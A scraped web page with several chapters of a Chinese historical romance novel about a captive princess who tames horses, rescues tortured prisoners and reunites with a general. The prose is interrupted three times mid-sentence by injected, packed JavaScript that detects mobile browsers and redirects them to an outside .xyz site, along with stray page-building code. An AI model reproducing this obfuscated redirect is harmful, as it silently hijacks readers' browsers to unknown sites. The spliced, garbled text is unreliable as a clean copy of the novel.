l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15605004|171998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他们爬上马背,便接连被马儿甩飞出去,一时间骑手们顿感无措,场中陷入冷寂。 蓦地,一道瘦小的身影只身闯入场中,只见她围着马儿绕了几圈,倏尔蹬鞍上马,任由它扑腾颠簸,她如粘在马背,死死紧拽缰绳。 马儿显然不愿屈服,愈加疯狂驰骋,想要借着冲劲将人摔下,可她似乎下了狠心,哪怕被甩得几欲飞出去,还是死命撑着。就在众人以为她即将落马之际,一把匕首自袖内抽出,毫不犹豫朝马脖子扎了下去。 顿时,马颈血液四溅,引得场中发出一片惊呼。 烈马精疲力尽,似乎被她彻底磨去了性子,轰然倒下,那道身影早在马儿倒下之前先一步跃然而下,稳稳落在场中。 驯马监立即上前探查,发现此马被伤之处并非要害,只是因一时疼痛才卸了力气。 耶齐格见状目露讶异,不由击掌赞叹:“好!此乃绝境逢生之术,所谓不破不立,真是好胆识!” “上前来,朕有重赏!” 骑士上前听赏,在听到帝王询问要何赏赐时,一张玉容豁然仰起,“奴婢沈绾,愿在御马司任职,为陛下驯服天下烈马。” “是你!”耶齐格鹰眸微眯,大为意外,“你怎么会在这里?” “陛下恕罪。”代鄯拱手起身,“是微臣意外发现此女擅长马术,故而自作主张,带她前来为陛下表演。” 耶齐格审视的目光在二人身上逡巡一番,冷叱道:“沈绾乃罪奴,岂可到御前?丞相糊涂!” “陛下,正因沈绾有罪在身,微臣才想让她将功折罪。”代鄯言辞切切,“御马司如今正缺人手,况且驯马向来艰辛,她一女子之身,若是当作惩罚也未为不可。况且……将军不日就要回朝,陛下也不想让他看到自己府中的女奴被关在掖幽庭……” 提到谢翊,耶齐格顿时有了顾及,想当初他肯留沈绾一条命,就是考虑到英雄难过美人关。今日沈绾一番表现,越发让他认定此女绝非善类。 “你方才为何要扎马脖?”耶齐格冷觑向沈绾,沉声道,“你可知方才若是失手,就毁了一匹好马?” “回陛下,再好的马也只是供人驱策,何况此马若是野性未除,不听号令,便算不得好马。人乃百灵之长,可御天下群兽,正如陛下乃天下至尊,可号令世间群雄。这驯马的终极奥义便在于掌控之术,马愈强我愈刚,谁敢豁出去放手一搏,谁就可掌控一切。若是最后真的失控,唯有除之,方为上策。” 沈绾答得从容自若,令耶齐格心头一震。 她话外这般奉承,话里却狠辣果敢,显然超出了他从前对她的认知,不过越是这样他越是起了兴致,既然她费尽心思自请去御马司,那他倒要看看,这一介女流到底能折腾出什么花样! “也罢,既然丞相谏言,那便让她去御马司好好当差,也算将功赎过。” “奴婢叩谢陛下!”沈绾不卑不亢,朗声伏地谢恩,樱红唇角弯起了意味不明的弧度。 20. 第二十章 阮郎归 刚才一番表演,着实消耗了沈绾不少体力,刚下了场,一直吊着的气终于松开。 她急喘着扶住栏杆,勉强撑住身子,吞下沈葭给她备下的药丸,才略感好受了些。 御马司的整体环境比掖幽庭强了不少,虽说衣食屋舍仍旧简陋,可好在差事自由。这里有大片草场,每日饲马操练,没有掖庭的沉闷压抑,令人感到身心畅快,再加上沈葭的悉心照顾,沈绾的身子明显一天强似一天。 由于双手不再沾水,加上时有伤药保护,手上冻疮也好了不少。沈绾因记挂阿青姐妹,每每得了空,便托先前的管事嬷嬷给她们送些草药。 不知不觉已到元宵。 这日,沈绾依例在草场训练那匹西域烈马,忽见代鄯远远走来,她仗着自己马术精湛,并未勒绳,等到马鼻离代鄯仅有几寸之近,她才一拽缰绳,只听一声嘶鸣啸破长空,马儿仰起前蹄,马鼻喷出的热气混着烟尘扑了代鄯一脸。 “大人,您今日怎么有空来了?”沈绾心情大好,扬着马鞭笑容明媚,“这匹乌骓现在已经被驯得很是听话,只是力度和速度还差了点,不过假以时日,它一定能变得更加出色。” 代鄯没心思跟她研究驯马之术,抬手扬了扬面前尘雾,一脸无奈道:“外面消息传的沸沸扬扬,你还有心思在这跑马?” 沈绾不甚在意地笑了笑,将乌骓牵到马厩,招呼代鄯到一旁暖房喝茶。 暖房里点着炭火,不多时便驱散了二人身上的寒气。 “大人,喝茶。”沈绾斟了杯热茶奉上,为自己方才的冒昧举动道歉。 代鄯双手接过,啜了口热茶,煦然开口:“你在这倒是乐得清闲。” 沈绾莞尔:“承蒙大人照顾,我三姐姐近日可好?” “她最近沉迷针灸之术,有些废寝忘食,只是一心记挂着你,让我抽空多来看看。” 沈绾挑眉:“大人待三姐姐,果真是与旁人不同。” 代鄯不自然地轻咳出声:“沈葭姑娘心地慈善,我不过是略尽绵薄之力罢了。” 沈绾一副了然于心,不再深究。这些日子她对代鄯改观不少,可此人到底心思深沉,不知将来与三姐姐是否良配? “今日来是说正事,”代鄯转了话头,“也不知谁传出的消息,现在市井巷陌,你可成了头号新闻人物。” 御马司并非掖幽庭,消息并不闭塞,近日坊间的传言沈绾不是没有听说。 不知何时开始,市井忽然传出消息,说是当初拓摩之所以攻破雁鸣关,是沈绾提供了布防图,她身为大胤帝姬,不仅自愿委身异族,还引狼入室、投敌叛国,帮助蛮夷屠戮大胤子民。 一夕间,街头巷陌对沈绾的指责谩骂声铺天盖地。 “其实他们说的……也并非全无道理。”沈绾自嘲地弯了弯唇,“我曾被方士预言为‘大胤灾星’,瞧瞧我现在,可不就是为了苟活,在拓摩人手底下讨生活?” 代鄯不以为然,凝神探究道:“你知道的,阿烈若是回来,多半不会让你继续留在这里,你费了这么大功夫来御马司,到底是何打算?” 他向来惯会揣摩人心,可沈绾这步棋,他始终捉摸不透。 御马司表面虽是负责饲养皇室马匹与象房,可下面还管理着皇庄、草场与部分军队,乍看虽不惹眼,却实际掌管着部分财政与兵力。 但沈绾如今只是一介驯马女,无官无权,耶齐格敢把她放在这里,就料定她掀不起风浪,除了每天和马打交道,他实在想不到她还能做什么? “唔,”沈绾给对方续了杯茶,理所当然道,“这空气好。” “……” 二人正说着话,忽听外面传来一阵嘈杂。沈绾推门望去,只见一群拓摩少年吹哨策马而来。 马场外顿时烟尘四起,贵族少年们扬着马鞭,手持弓箭肆意驰骋。 领头少年不过十四五岁,阔面宽额,臂粗体健,对着身后驯马的小官道:“取靶子来。” 小官不敢怠慢,忙唤人打开栅栏,从马厩里牵出十几匹快马,然后从这群人身后的囚车上一一将“靶子”拖下来。 沈绾定睛一看,发现这些“靶子”竟都是活人,他们身着囚衣,蓬头垢面,说是“拖”下来,是因为他们每个人身上血迹斑斑,想来都是受了重刑。 小官用粗麻绳一头绑住他们的手腕,另一头绑在马尾,只听一声哨响,马儿扬蹄飞驰,那些囚奴被拴在马后一路拖行,身体与地面发出剧烈摩擦,险些擦出火星子。 领头少年目露兴奋,朝身后同伴说着地道的拓摩语:“靶子就在前方,各位大可一展身手,射靶最多者,我手里这把紫杉弓便送给他!” “小世子既这么说,我们可就不客气了!”众人一阵起哄,喧闹着策马而去。 场上顿时乱箭飞扬,箭镞划破长空,有的落在地上,有的直插进囚奴身上,一时间,马蹄声、哭叫声、喧吼声……响成一片。 沈绾这才见识到,原来这些拓摩少年口中的射靶游戏竟是以中原活人作靶,来满足他们征服与杀戮的快感。 指尖嵌入门框,沈绾神色紧绷,心中沉得厉害,视线猛然一顿,落在远处一个苦苦挣扎的罪奴身上。 沈绾瞳仁骤缩——竟是周副将! 代鄯还未来及阻拦,沈绾便失控地跑了出去。 “吁——”领头少年正跑得尽兴,忽见一柄马棍从身侧飞来,他猝不及防,连忙侧身闪躲。 “是何人!”少年暴跳,勒马停了步子,怒目朝四周逡巡。 “世子喜欢射箭,不如我陪世子玩一场?”沈绾定定立于马下,小小的身影在烈风中岿然不动。 “我当是谁,原来是传闻中‘投敌叛国’的大胤帝姬?”少年改说生硬的中原话,面带讥笑,“你们胤人都是贱骨头,只配给我们当靶子玩!” “只怕我这个靶子,你可玩不了。”沈绾目露厉色,冷言回击。 其他少年见出了状况,也都停下弓箭,纷纷朝这边聚集而来。 众目睽睽之下,少年瞬间被点燃怒火,举起马鞭:“你倒是说说,要怎么玩!” 沈绾冷眼扫视一圈,不疾不徐道:“那些拴在马后的死靶子有什么趣,不如试试我这个活靶子?” 说着,她从马厩牵出乌骓马,跃身而上,“我想与世子打个赌。我身上既无盔甲也无护盾,仅凭一人一骑当你的靶子,你若能在三箭之内击中我,就算你赢,我便任你处置,可你若是击不中我,就放了身后那些囚奴,如何?” 沈绾说得干脆果决,可话里话外也摆明了没有将对方放在眼里。 少年被这话一激,阴恻道:“你这是自寻死路。” “那便试试。”沈绾扬鞭一甩,身下马儿瞬间疾驰出去,只留下一抹残影。 少年不甘示弱,随即弯弓搭箭,只听“嗖”的一声,羽箭离弦而去,直击沈绾后背。 沈绾旋即俯身贴住马颈,脊椎弯成恰到好处的弧度,锋利的箭镞就这么擦着她的脊背飞了出去。 少年没有给她喘息的机会,紧接着第二支箭袭来,沈绾猛地侧身踩紧马镫,将身子悬于马腹一侧,箭矢擦着衣襟呼啸而过,钉入前方树干。 一连两箭都未击中,少年有些气急败坏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15610685|171998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,他身形骤转,反手射出第三支冷箭。 沈绾夹紧马腹,身下乌骓好似听懂一般,前肢高跃,后肢发力腾跃,箭矢正好穿过马蹄空隙,飞了出去。 沈绾勒马回身:“小世子,看来你的箭,还差了几分火候。” 少年哪里受过这种羞辱,趁沈绾打马回身,恼羞成怒又射出一箭。 沈绾未曾设防,利箭划破长空,眼看直刺胸前。 耳畔响起一阵尖啸,一枚石块伴着海东青的掠影骤然袭来,精准无比地撞上箭杆。 “啪!”一声脆裂爆响,箭杆应声而断,碎成两截。 沈绾侧目望去,只见不远处,男人高大俊挺的身影袖手而立,指尖还拈着另一枚石子,在阳光下泛着冷硬的乌光。 海东青在天际盘旋两圈,在谢翊肩上打了个站,又消失在云层中。 “将军……”沈绾陡然失声,心头涌上的情绪如潮水翻涌,莫名有些复杂。 她好像已经很久很久,没有见到他了。 强烈的惊讶与喜悦交织,心脏随着男人渐渐靠近的步子开始跳动,愈演愈烈。 这些日子以来,她刻意不去想谢翊,生怕某种情愫会不受控制恣意生长。 直到见面的这一刻,她才发现,原来一把刀子用久了,当真是会想念。 “耶、耶齐烈……”少年看清来人,顿时没了气焰。 谢翊眼角抬也未抬,径直走向沈绾,舌尖朝一旁挤出一个字:“滚!” 少年被那股气势吓得有些瑟缩,但还是想挽回些面子:“我、我父王是堂堂巴泰王,你、你怎可这样对我说话……” 沈绾瞬间明白,原来少年的是耶齐雷的儿子,怪不得这般嚣张跋扈。 谢翊有些不耐烦,一记冷眼扫过,宛若地狱阎罗。 少年被吓得一凛,他不是没听过谢翊杀神的名号,可少年人爱面子,此刻还咬牙死撑。 “我说小世子,你还是先回吧,烈将军这人脾气不好,若是真失手做了什么,我同你父亲也不好交代。”代鄯上前苦心劝阻,话里隐隐含着威慑。 少年见代鄯递来个台阶,只好乖乖认怂:“罢了罢了,我们走!” 一群少年浩浩荡荡地来,落荒而逃地走,喧闹的马场顿时安静下来。 “周副将!”沈绾急忙回身,将地上之人扶起,“你还好吗?” “小殿下……”周副将显然被折磨地奄奄一息,努力睁开血污的眼,低低叹道:“您没事,真的太好了……” 代鄯:“这样不行,我去着人帮这些囚奴安置,他们个个身上都是伤,必须赶紧医治。” 沈绾点头,正欲跟上去,却被身后大手拦腰抱住。 温热的鼻息打在颈侧,沈绾面颊一红,“将军,这是在外面……” “嗯。”谢翊应了声,深嗅了口她身上的馨香,感到一颗躁乱的心渐渐平复,方才缓缓松开。 视线落在她结痂的手面,眉头几不可察地动了动,大手轻轻将她握住,溢出一声叹息:“对不起……” 多日别离,积攒起绵绵不尽的思念、丝丝缕缕的牵挂,可落到嘴边,却只化成一句自责与心疼。 他还是没能,保护好他的月亮。 “将军平安回来就好。”沈绾声音轻柔,一如往昔,仿佛这些日子的分离不过是过眼云烟,不值一提。 谢翊将她转过身,目光灼灼:“收拾东西,我们回家。” 他既然回来,定不会再让她受半分苦楚。 “将军,”沈绾一顿,按住他牵着自己的手,低眉踟蹰:“我……我不愿回去。” 21. 第二十一章 醉红颜 她说的是不愿,而非不能,她当然知道谢翊有能力带她离开,只是今时不同往日,她早已有了自己的打算。 男人的脸色微微沉了沉,却仍是耐着性子道:“为什么?” “……” 沈绾抿了抿唇,错开他凝落灼人的视线,脑海中闪过各种说辞,却偏偏脱口而出一句:“周、周副将伤势严重,我想留下来照顾他。” “……” 谢翊眼底闪过一丝迷茫,神色复杂默了半晌,终是叹道:“好。” 沈绾一怔,他就这么同意了? 当初她以身为诱,留在他身边做女奴,不过是为了谋一线生机,他自然心知肚明。现在她擅作主张,自请留下,他竟然半个不字也没说。 实在出乎她意料。 谢翊盯着她瞧了半晌,仿佛怎么也看不够,知道她心里还记挂旁的,只好解开身上墨氅给她披在肩头,语气无奈又温柔:“我还得去拜见陛下,不能在这陪你,晚上记得早些回来,我……” 他嘴唇翕动几下,终是没有说下去,捋了捋她耳侧被风吹乱的发丝,敛了眸色转身离开。 沈绾被他的好脾气弄的有些发懵,轻轻点头。 直到男人的身影消失在远处,沈绾才后知后觉意识到,原来他还未进宫述职,难道他一回京都便直奔来找她? 这男人,真是…… ** 周副将身上的伤倒是没什么大碍,只可惜断了条腿。代鄯将这些囚奴安置在城西一处空庙,伤者医治,亡者掩埋。 沈绾忙完御马司的差事,跑了趟空庙,确定周副将暂无大碍后,方才往回赶。 谢翊本是派了马车来接,只是晚间街市人头攒动,灯火如昼,即便有马车也不能急行,沈绾索性下车步行。 等到了将军府,已是月上中天。 “姑娘可算回来了!”丫鬟春桃笑吟吟迎上来,一双圆润清澈的眼睛盛满欢喜。 自从那晚沈绾被带走,她一直惴惴不安,现在好不容易盼到将军回来,沈姑娘也安然无恙,她的一颗心终于放下。 “将军呢?”沈绾见府中虽点着灯,可四下无人,略显寂寥。 “将军说今夜是元宵佳节,让奴婢们早早都散了。”春桃略一迟疑,望向前方透着亮光的房门,“将军他……” 沈绾见春桃欲言又止,心中疑惑。 春桃踌躇再三,忍不住道:“姑娘今个回来的有些晚,将军为了等姑娘,一个人在房里自斟自酌,奴婢们不敢进去,现下只怕已经有些醉了。” 沈绾侧眸望去,只见室内烛火渐暗,不闻声响。 他果然还是生气了? “劳烦你去煮碗醒酒汤来。”沈绾解下氅衣,低声吩咐。 “姑娘客气了。”春桃蹲礼应下。 沈绾推门而入,一阵浓郁的酒香扑鼻而来,其间混着男人身上干净清冽的味道,却并不难闻。 谢翊独坐在桌边,一手支着脑袋,一手摩挲手中酒盏,昏黄的烛火照在低垂的眉骨,衬得半张俊颜越发深邃。 “将军?” 沈绾试探地唤了声,只这一声,就好似使了什么咒术,谢翊立即闻声抬起头,小狗似的乖乖朝她走来。 “阿鸾……”他几步上前将人抱住,凑在颈侧低语喃喃:“你终于回来啦……” 明明是略带几分醉意的话,可落在沈绾耳中却好似撒娇般,软糯可怜。 这男人今晚……莫名有些可爱? “你……喝这么多酒干嘛?”沈绾安慰似的在他背后拍了拍。 “没喝多。”谢翊摇摇头,从她身前抬起身,自证般往后退了两步,想让沈绾看得清楚些,“我酒量一向很好,宫里的接风宴只陪了他们一会,就回来等你,这酒……” 他指了指桌上的酒坛,“是你之前亲手酿的,我因心里想着你,就擅自作主拿出来尝了尝。” 沈绾见他眸子曜黑清亮,的确不像醉态,可桌上的酒坛早已见了底。 这是她两个月前酿的梅花酒,入口虽清甜,但饮多了难免会醉人。 谢翊见她一时沉默,心头不由一慌,摇着她的手臂低声道:“对不起,我不该自作主张,下次……” “将军,这酒本就为你酿的。”沈绾耐着性子,柔声解释。 她这下终于确定,他是真的喝醉了。 “我去看看醒酒汤好了没有。”她转身欲走,下一瞬,一双铁臂猛地钳住腰间,力道狠狠一带,旋身贴上一个结实温热的胸膛。 “阿鸾,别走……”他呓语般在她耳边低喃,声音喑哑:“对不起,对不起,我知道我错了,你可不可以不要离开我……” 他像是着了魔般在她耳边一遍遍道歉,一双铁臂将她箍得紧紧,像是要把她融进身体里。 “将军……你到底在说什么?”她被他弄得摸不着头脑,单薄身子被他这么一搂,竟有些喘不过气。 谢翊意识到自己有些失控,缓缓将人松开,薄唇覆上额头,语带自责:“弄疼你了?” “没有。”沈绾轻柔摇头,羽睫眨了眨,“你今晚是怎么了?” 这男人向来喜怒不形于色,今夜实在过于反常。 据她所知,这次南征虽然遇到些坎坷,可最终还是以胜利告终,耶齐格龙颜大悦,于宫中为他设宴接风,君臣相谈甚欢。 当下这局面,她实在想不出谢翊是哪里受了刺激。 “阿鸾,我们成亲吧。”谢翊双手握住她,神色极为认真,摇曳的烛焰落在眼底,好似燃了一簇烈火。 “你、你说什么?”沈绾心口一跳,被他这番话震得慌了神。 “嫁给我,好不好?”他目光炽烈灼热,语气却莫名带着卑微,生怕被她拒绝。 沈绾嘴巴张了张,声音轻得如同羽毛,“将军,莫要玩笑……” 她同他现在是什么身份?一个是威名赫赫、众人景仰的国朝将军,一个是万人唾骂、身份低贱的亡国女奴,如何成亲? “这不是玩笑。”谢翊总能轻而易举看透她的心思,双眸定定,“我知道你担忧什么,你放心,只要你愿意,一切交给我,没有任何人和事能够阻拦。” 他顿了顿,眼神急切又渴望,像是等待主人发号施令的小狗,“在你面前,我从来都是高攀,所以你不需要有任何顾及。” 屋中静谧,沈绾仿佛能听见彼此胸口的心跳,一声一声如同擂鼓。 沈绾呼吸微促,将手从他手心抽出,与他拉开些距离。 “将军喝醉了……” 见她低眸闪躲,谢翊心中一阵钝痛。 “对不起,阿鸾……”他叹了口气,“我不是想逼迫你什么,只是太想保护你……” 他暗暗垂下头,疲倦又无力,像个受伤的孩子。 今夜他已经说了太多的对不起,其实都是出于害怕和自责,他不是在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15621254|171998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生她的气,而是在怪自己。 怪自己没能守在她身边,怪自己没有保护好她。 他的出现已经带给她太多悲哀,如果她真的有什么不测,他怕是会彻底疯掉。 如果她现在的不幸是因为身份低微,那他娶她,给她名正言顺的地位,让那些人再不敢低看她一眼。 至于那些流言,他总有法子解决。 他说的认真又诚挚,沈绾心下一动,原本坚不可摧的心防被他这么一搅,似乎裂开一道细纹,虽不明显,可却实实在在印在那里。 她下意识清了清嗓,上前轻轻靠在他胸前,朱唇轻启:“我说过的,将军有心就好。” 无论他是一时冲动还是早有打算,她都清楚地明白,她不可以沉沦在缥缈的情爱中。 何况这份情爱,还掺杂着太多欲望和利用。她赌不起。 与其同他扯上夫妻之名,不如像现在这样,彼此各取所需,有羁绊却不多。 即便有一天真的一拍两散,她也能潇洒放手,不会有太多负担。 她眼底的眸色太过清醒冷静,即便隐藏得再好,也还是悉数落尽谢翊眼底,如同一把寒剑,瞬间击破他所有期待。 他苦笑转身,背对她敛了神色,再开口已是寂然无波,“罢了,今夜之事就当从未发生过,天色不早了,去歇息吧。” 尾音携着一声似有若无的低叹,在这寂寥的深夜显得越发苦怆。 不知是因一时心疼还是什么别的,沈绾鬼使神差上前几步,从后抱住他的腰。 男人的腰线精瘦紧实,即便此刻微微弯着,也极富力量感,沈绾将脸贴在他背上,娇嗔般吐出一句:“多日未见,将军舍得就这么赶我走?” 坚实的脊背一顿,男人微微偏头:“你还有事?” 清甜勾人的馨香自背后传来,缠得他心头一乱。 他舍不得,当然舍不得! 他想抱她、吻她,却怕欲望一旦开启,就一发不可收拾。 “有件东西,一直想送给将军。”沈绾细语柔柔,从怀中掏出一件物什,“这枚荷包,不知道将军还要不要了?” 她眨着眼,语气带着一丝无辜,却在看到谢翊眼神发亮那刻,狡黠一笑。 看来哄小狗,还是要拿出点实际。 “这是……送我的?”谢翊接过荷包,见上面绣着的两只“麒麟”张牙舞爪,正是两月前沈绾绣的那枚。 看起来虽有些怪异,可他却是心底却是难言的欢喜。 这还是她第一次送他东西。 “这是我第一回绣,针法上还有些生疏,当个生辰礼物虽有些勉强,但重在心意,将军……不会嫌弃吧?” “你……居然记得?”谢翊愕然。 当年上元节她偷溜出宫玩,曾无意间问起他的生辰,他当时随口一答,没想到她居然记在心上。 巨大的满足感自心间涌出,交织翻腾蔓延全身,谢翊感到前所未有的喜悦,薄唇不觉弯起,星眸熠熠。 “在你们拓摩,上元节又叫月神节,我记得你同我说过,你出生在明月高悬之夜。” 沈绾自顾说着,全然没有注意到眼前男人愈发幽深的眸色。 朱唇蓦然被人攫住,大手随即欺身而上,拦腰抱紧,唇上缠绵啃咬,力道重得像是要将她吞下去。 “将、将军……”沈绾被吻得猝不及防,口中气息被尽数掠夺,只剩下无尽呻/吟。 22. 第二十二章 风波恶 房门虚掩,春桃捧着汤碗刚推开门,便被眼前景象吓得面色一红。 烛火朦胧,二人纠缠的影子映在墙上,说不出的缱绻旖旎。 春桃将药碗匆匆放下,刚跑出几步,又退回来将房门重新掩上。 沈绾隐约察觉有人,刚想推开,却被谢翊用力一箍,往怀里带去。 他吻得痴迷,薄唇攫住樱舌吸吮啃噬,继而掠过唇角,“阿鸾,不管你心里怎么想,只求你别离开我……” 沈绾感到脸颊湿漉漉一片 ——好好地,他怎么又哭了。 “阿翊……”她竭力找回呼吸,抬手拍了拍他的脑袋,轻哄道:“我不会离开你……你松开我好不好,勒得有些疼。” 不知是哪句话戳到了他,幽邃的眸子一亮,谢翊捧起她的脸又亲了亲,似乎怎么也亲不够。 “好了好了……”沈绾有些嫌弃瞥过脸,这男人真是没完没了,再亲下去她脸都要花了。 “以后就这么唤我。”谢翊抵着她的额头,极为认真道。 “什么?” “阿翊,”谢翊的眼神已经有些迷离,朝着她轻笑,“我喜欢你这么唤我。” “……” 沈绾没有接话,搭着肩将他扶到床边,转身就看到门口的醒酒汤。 醉了的谢翊出乎意料得听话,让他喝汤他喝汤,让他擦脸他就乖乖擦脸,甚至还不忘说一句谢谢。 沈绾头一回觉得,这男人今晚乖的有些可爱。 好不容易帮他洗漱完,沈绾刚要起身松快松快,却发现袖子被他扯住。 她想掰开他的手,却冷不丁被他一拉,身子顺势被抱到床榻,男人欺身压上,“阿鸾,我想抱着你睡……” 他醉眼朦胧,将脑袋蹭在她肩头,全然没了平日的威严沉稳。 沈绾险些忘了,他不过是个未及弱冠的少年,只是平日肩上有太多的重担与责任,才让他敛去了张扬任性的少年气。 沈绾轻叹,索性不再挣扎,任他搂着,一夜无梦。 ** 次日天蒙蒙亮,沈绾简单梳洗一番便去御马司当值。 这回她没再坐马车,而是选择步行。虽说谢翊已向耶齐格请旨让她仍居将军府,可她一介驯马女,每日乘车应卯总归不合规矩。 昨日元宵刚过,街头小贩的叫卖声早早地响了起来,等走到一半路程,街市上已是人声鼎沸。 “听说了吗?巴泰王家那位小世子,昨夜说是喝多了酒,从高马上跌下来,摔断了腿!” “可不是嘛,听说巴泰王雷霆大怒,可偏偏查不出个结果。” “要我说,这都是报应,蛮夷天性暴虐,老天都看不过……” “啊呀,这话可不能说……” 茶坊间几人的闲聊落入耳中,又很快被喧嚣掩盖。沈绾脑中浮现出昨日少年狂妄的面容,很快又摇摇头,迈着步子赶往御马司。 刚到大门口,只见一名老者被两名马官架着从门里丢出来。老人须发皆白,身子干瘦,被这么狠狠一扔,竟倒在地上久久站不起来。 “老头,限你三日内把银子交了,否则惹怒了咱们三爷,可有你好果子吃!” 马官恶狠狠啐骂一句,转身而去。 老人黯然低下头,挣扎着想爬起身,却怎么也用不上力,正无措间,一只素白却起着薄茧的手掌伸来。 “老人家,你没事吧?” 老者见来人白净俊俏,虽束着发,一身马奴装扮,可清清泠泠的声音还是暴露出她的女儿家身份。 “谢谢姑娘。”老人声音沙哑,目光在沈绾身上停留半晌,犹疑道:“你……在这里当差?” “是啊。”沈绾将他扶到路边一处廊檐下,拍打干净他身上的尘土,温声道:“老人家,这是皇家马场,你怎么到这来了?” 老人见沈绾没嫌弃自己衣衫褴褛,言行举止又礼貌妥帖,不禁感叹:“想不到这地方居然还有好人呐……” “老汉姓李,本是民间一草贩,历年向这御马司进贡草料,可自打年关开始,这里新来了位仓使,非说小老儿的草料以次充好,要罚银子,自上月开始竟陆陆续续累积欠了二百两银子。老汉这点小买卖,本就挣不了多少钱,往年那些个仓使虽说也变着法压价,可勉强能填个温饱,这回倒好,送了草料还要往里搭银子,二百两啊……我这一辈子也没见过那么多钱。” 沈绾皱眉:“他们既然嫌草料不好,不卖给他们不就成了?” “唉……”李老头一脸悲戚,浑浊的眼珠隐含泪花,“起初老儿我也不再想做这门生意,可他们竟强买强卖,不仅上门抢走所有草料,还抓走了我的孙儿!他才十三岁啊……我儿子儿媳走得早,这么些年只有我们爷孙俩相依为命,他们抢走草料不要紧,只要能把孙儿还给我……” 说着,他伸出干瘪的手从怀里掏出一个破布包,里面却已空空如也,“我好不容易凑了十两银子,只求他们能让我看孙儿一眼,可他们拿了银子就把我赶了出来……” 老人的话犹如一团火苗,在沈绾心底隐隐燃烧,她吸了口气,平复情绪道:“老人家,你先回去找地方躲一阵子,你孙儿的事我来帮你想办法。” “你?”老人疑惑看向沈绾,无力摇了摇头,“姑娘啊,你的好意我心领了,可那位三爷可是个不好惹的人物,听说拜了御马司提督太监为义父,你不必为了小老儿我去冒这个险。” 沈绾安抚地拍了拍老人手背:“老人家,你放心,我心中有数,为免那些人再去找你麻烦,你先躲上三日,我先去探探情况,三日后给你消息。” 老人无奈,只好暂且应下。 沈绾送走老人,心下琢磨一番后进了御马司侧门,由于这个小插曲,她正巧错过了点卯时辰。 一宦官跷着二郎腿坐在院廊下,一双三角吊梢眼斜觑着,“我说沈姑娘,咱们这御马司可不是勾栏瓦肆,任你什么时辰来都可以,虽说你背后有那位大将军撑腰,可也不能坏了咱们这的规矩。” 说话人姓胡,是名监官,耶齐格即位后才从底下调上来。 虽说谢翊的身份让他们忌惮,可御马司毕竟是为皇室当差,他们自然会有几分底气。 “虽说你是大将军眼前的红人,可到了这儿,您还是把那身娇气收一收,免得碍了魏公公的眼!” 他声音尖细,刺得沈绾耳膜嗡嗡,可 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15645572|171998||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她面上还是无波无澜,“谨记公公教诲。” 胡监官口中的这位魏公公,沈绾略有耳闻,当年父皇在位时,他就已经是御马司提督,没想到到了新朝,他竟然仍稳坐高位,看来是个人物。 胡监官见沈绾一副逆来顺受,自己这一拳好似打在棉花上,甚觉无力,只好悻悻作罢。 沈绾来到草场,按例喂养马匹、刷洗马厩,这些日子以来,她渐渐掌握很多训练优质马匹的技巧,在马种选择、饲料调配都深有心得。 由于沈绾生得好,性子也好,一些新来的小马官都爱时不时过来搭话。 “今个草料怎么送来的这么多?”沈绾边喂马边与小官闲聊。 小官是专门负责领取草料的,随口答道:“典簿说快开春了,马儿吃得多,得好好养。” “这位典簿是什么来头?我来这不久,还没福气见过。” “嗐,有啥好见的,还不都是靠银子堆上去的。”小官凑过来,压低声音,“我听说他有个表妹,时不时会给他送些银子,这才有机会攀上魏公公这根高枝……哎,你可别往外说……” 沈绾点头,装似无意提起今日遇见李老汉的事,小官神色一变,肃然提醒:“这里头水深着呢,你最好别往里掺和。” 沈绾铺完草料,与小官席地坐下歇脚,“我只是好奇,他们抓个十几岁孩子去能做什么?” 小官以为沈绾并非京都本地人,转了转眼珠子,颇为神秘道:“你来京都这么久,难道没听说过‘斗兽场’?” 沈绾一脸疑惑,摇摇头。 小官有几分显摆:“那地方可是京都达官显贵的销金窟,听说有人一晚上能赢下上万两黄金,也能瞬间倾家荡产。” “什么地方这么厉害?” 小官来了兴致:“我也是曾听人说起,这地方极为隐蔽,里面就好似一家赌场,不过玩的不是寻常物件,而是人兽相斗。” 沈绾一凛:“怎么个斗法?” “就是将人和未经驯化的野兽圈到同一个场地里,看他们彼此相搏,赌客们就在人和野兽两方下注,谁能拼杀到最后,押注的一方就算赢。” “这不是太残忍了?”沈绾追问,“普通人赤手空拳,与野兽相搏的胜算能有多大?” 